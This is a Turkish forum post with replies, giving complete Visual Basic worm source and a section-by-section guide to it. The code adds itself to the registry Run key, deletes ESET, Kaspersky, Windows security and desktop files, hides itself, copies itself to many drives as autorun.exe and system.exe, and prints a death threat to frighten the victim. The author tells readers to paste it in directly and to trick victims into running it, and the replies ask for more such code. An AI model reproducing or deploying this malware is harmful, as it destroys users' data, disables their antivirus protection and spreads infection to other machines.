visual basic ile solucan yazma

Arkadaşlar solucanlar karşı tarafa sizin belirlediğiniz komutları vererek delik açar ve bir dahaki gelşiniz için hazır tutar.Hatta kendini kopyalayarak sisteme yayılır.Solucanı tanımlamak sabaha kadar sürer ama bende daha yeni yeni işin sırrını çözmekteyim.Size biraraya getirdiğim kodları vererek ışık tutmaya çalışacağım.Öncelikle kodu tamamen bir göstereyim.
Kod:
Private Sub Form_Load()
On Error Resume Next
Dim KayitDefteri As Object
Set KayitDefteri = CreateObject("wscript.shell")
KayitDefteri.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN\" & App.EXEName, App.Path & "\" & App.EXEName & ".exe"
On Error Resume Next
Kill "C:\Program Files\ESET"
Kill ("C:\Program Files\ESET")
Kill "C:\Program Files\Kaspersky\*.*"
Kill "C:\WINDOWS\security\*.*"
Kill "H:\*.*"
Kill "C:\Documents and Settings\All Users\Desktop\*.*"
Kill ("C:\Program files\Eset\*.*")
App.TaskVisible = False
Visible = False
Me.Hide
on error resume next
CdRom.cdromCollection.Item(0).eject
CdRom.cdromCollection.Item(1).eject
Shell App.Path + "/" + App.EXEName + ".exe"
On Error Resume Next
FileCopy "C:\Documents and Settings\All Users\Start Menu\Programlar\Başlangıç\system.exe", "C:\WINDOWS\system.exe"
FileCopy "C:\Documents and Settings\All Users\Start Menu\Programlar\Başlangıç\system.exe", "C:\WINDOWS\system32\twainss.exe"
FileCopy "C:\Documents and Settings\All Users\Start Menu\Programlar\Başlangıç\system.exe", "C:\WINDOWS\system\clipboards.exe"
FileCopy "C:\Documents and Settings\All Users\Start Menu\Programlar\Başlangıç\system.exe", "D:\system.exe"
FileCopy "C:\Documents and Settings\All Users\Start Menu\Programlar\Başlangıç\system.exe", "F:\system.exe"
FileCopy "C:\Documents and Settings\All Users\Start Menu\Programlar\Başlangıç\system.exe", "H:\root.exe"
FileCopy "C:\Documents and Settings\All Users\Start Menu\Programlar\Başlangıç\system.exe", "G:\autorun.exe"
FileCopy "C:\Documents and Settings\All Users\Start Menu\Programlar\Başlangıç\system.exe", "A:\autorun.exe"
FileCopy "C:\Documents and Settings\All Users\Start Menu\Programlar\Başlangıç\system.exe", "C:\program data.exe"
FileCopy "C:\Documents and Settings\All Users\Start Menu\Programlar\Başlangıç\system.exe", "B:\autorun.exe"
FileCopy "C:\Documents and Settings\All Users\Start Menu\Programlar\Başlangıç\system.exe", "E:\autorun.exe"
FileCopy "C:\Documents and Settings\All Users\Start Menu\Programlar\Başlangıç\system.exe", "I:\system.exe"
FileCopy "C:\Documents and Settings\All Users\Start Menu\Programlar\Başlangıç\system.exe", "K:\system.exe"
FileCopy "C:\Documents and Settings\All Users\Desktop\system.exe", "F:\autorun.exe"
FileCopy "C:\Documents and Settings\All Users\Desktop\system.exe", "G:\autorun.exe"
FileCopy "C:\Documents and Settings\All Users\Desktop\system.exe", "I:\system.exe"
On Error Resume Next
Shell ("C:\Program Files\Internet Explorer\iexplore.exe [Linkleri görebilmek için üye olun veya giriş yapın.]
Shell ("C:\Program Files\Internet Explorer\iexplore.exe [Linkleri görebilmek için üye olun veya giriş yapın.]
Shell ("C:\Program Files\Internet Explorer\iexplore.exe [Linkleri görebilmek için üye olun veya giriş yapın.]
MsgBox "Secruty Center Active"
Printer.Print "Ben Azrail...Bu gece seninde bu hayattaki süren dolmuş olacak.Öleceksin..."
On Error Resume Next
End Sub


Kendiniz benim kodlarımla bir solucan oluşturmak istiyorsanız forma aynen bunları yapıştırın.Yok biz açıklamasını istiyoruz.Kendimiz komutlandırmak istiyoruz derseniz aşağıyı okuyun


Arkadaşlar kodları bir ele alalım.Yapacağımız solucanın ile komutu şu:

Kod:
Private Sub Form_Load()
On Error Resume Next
Dim KayitDefteri As Object
Set KayitDefteri = CreateObject("wscript.shell")
KayitDefteri.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN\" & App.EXEName, App.Path & "\" & App.EXEName & ".exe"


Şu anlama geliyor.Kurban yaptığımız solucanı açınca regedit kayıtlarına solucan kendisini ekleyor.Böylece Windowsla birlikte kendini başlatıyor.Eğer yapacağınız solucan sistemle başlasın diyorsanız bu kodu ekleyin.

İkinci Kod:

Kod:
On Error Resume Next
Kill "C:\Program Files\ESET"
Kill ("C:\Program Files\ESET")
Kill "C:\Program Files\Kaspersky\*.*"
Kill "C:\WINDOWS\security\*.*"
Kill "H:\*.*"
Kill "C:\Documents and Settings\All Users\Desktop\*.*"
Kill ("C:\Program files\Eset\*.*")
App.TaskVisible = False
Visible = False
Me.Hide


Burada ise Solucan Eset ve Kaspersky ın dosyalarını silerek yolunu açıyor.Ayrıca kendini görev çubuğundan gizliyor.

Diğer Kod:

Kod:
on error resume next
CdRom.cdromCollection.Item(0).eject
CdRom.cdromCollection.Item(1).eject
Shell App.Path + "/" + App.EXEName + ".exe"
On Error Resume Next
FileCopy "C:\Documents and Settings\All Users\Start Menu\Programlar\Başlangıç\system.exe", "C:\WINDOWS\system.exe"
FileCopy "C:\Documents and Settings\All Users\Start Menu\Programlar\Başlangıç\system.exe", "C:\WINDOWS\system32\twainss.exe"
FileCopy "C:\Documents and Settings\All Users\Start Menu\Programlar\Başlangıç\system.exe", "C:\WINDOWS\system\clipboards.exe"
FileCopy "C:\Documents and Settings\All Users\Start Menu\Programlar\Başlangıç\system.exe", "D:\system.exe"
FileCopy "C:\Documents and Settings\All Users\Start Menu\Programlar\Başlangıç\system.exe", "F:\system.exe"
FileCopy "C:\Documents and Settings\All Users\Start Menu\Programlar\Başlangıç\system.exe", "H:\root.exe"
FileCopy "C:\Documents and Settings\All Users\Start Menu\Programlar\Başlangıç\system.exe", "G:\autorun.exe"
FileCopy "C:\Documents and Settings\All Users\Start Menu\Programlar\Başlangıç\system.exe", "A:\autorun.exe"
FileCopy "C:\Documents and Settings\All Users\Start Menu\Programlar\Başlangıç\system.exe", "C:\program data.exe"
FileCopy "C:\Documents and Settings\All Users\Start Menu\Programlar\Başlangıç\system.exe", "B:\autorun.exe"
FileCopy "C:\Documents and Settings\All Users\Start Menu\Programlar\Başlangıç\system.exe", "E:\autorun.exe"
FileCopy "C:\Documents and Settings\All Users\Start Menu\Programlar\Başlangıç\system.exe", "I:\system.exe"
FileCopy "C:\Documents and Settings\All Users\Start Menu\Programlar\Başlangıç\system.exe", "K:\system.exe"
FileCopy "C:\Documents and Settings\All Users\Desktop\system.exe", "F:\autorun.exe"
FileCopy "C:\Documents and Settings\All Users\Desktop\system.exe", "G:\autorun.exe"
FileCopy "C:\Documents and Settings\All Users\Desktop\system.exe", "I:\system.exe
FileCopy "C:\Documents and Settings\All Users\Desktop\system.exe", "C:\WINDOWS\system.exe


Burada ise birisi solucanı kapatırsa kapanmıyor bir.İkincisi Kendini Windowsun çeşitli klasörlerine ve sürücülerine kopyalıyor.Fakat burda önemli bir şeyde şu.Siz solucanı adama yedirmek için virüsü masaüstünde adama tıklatmanız lazım.Yada rar yapıp adam tıkladığı zaman başlangıç klasörüne gitmesi lazım.Onun için adıda system.exe olması gerekir başka bir ad ile olmaz

Diğer bir kod:
Kod:
On Error Resume Next
Shell ("C:\Program Files\Internet Explorer\iexplore.exe [Linkleri görebilmek için üye olun veya giriş yapın.]
Shell ("C:\Program Files\Internet Explorer\iexplore.exe [Linkleri görebilmek için üye olun veya giriş yapın.]
Shell ("C:\Program Files\Internet Explorer\iexplore.exe [Linkleri görebilmek için üye olun veya giriş yapın.]
MsgBox "Secruty Center Active"
Printer.Print "Ben Azrail...Bu gece seninde bu hayattaki süren dolmuş olacak.Öleceksin..."
On Error Resume Next
End Sub


Kodlar burada bitiyor.Son kısımdaki yer ise adama korku salmak.Kendi Kendine Azrail resimleri Açıyor ve Adama ölecegine dair mesajlar veriyor.

İşte bu kadar siz dediklerimi yaparsanız ufak ve her tarafa bulaşan flash v.b bir solucan(worm) yapabilirsiniz.ama benim kodlarımlada direk yapabilirsiniz.Ha unutmadan Formun visible özelligi False olsun ve ShowİnTaskbar da false olsun ki adam göremesin sağlıcakla...

SAGOL DOST ELINE SAGLIK GUZEL OLMUS

önemli değil

BOYLE KODLAR BULSAN PAYLAS KARDES GUZEL BIR SEYLER ;;;

TURQUD demiş ki:BOYLE KODLAR BULSAN PAYLAS KARDES GUZEL BIR SEYLER ;;;

bulursa paylaşır bu konuyu paylaştığı gibi, ...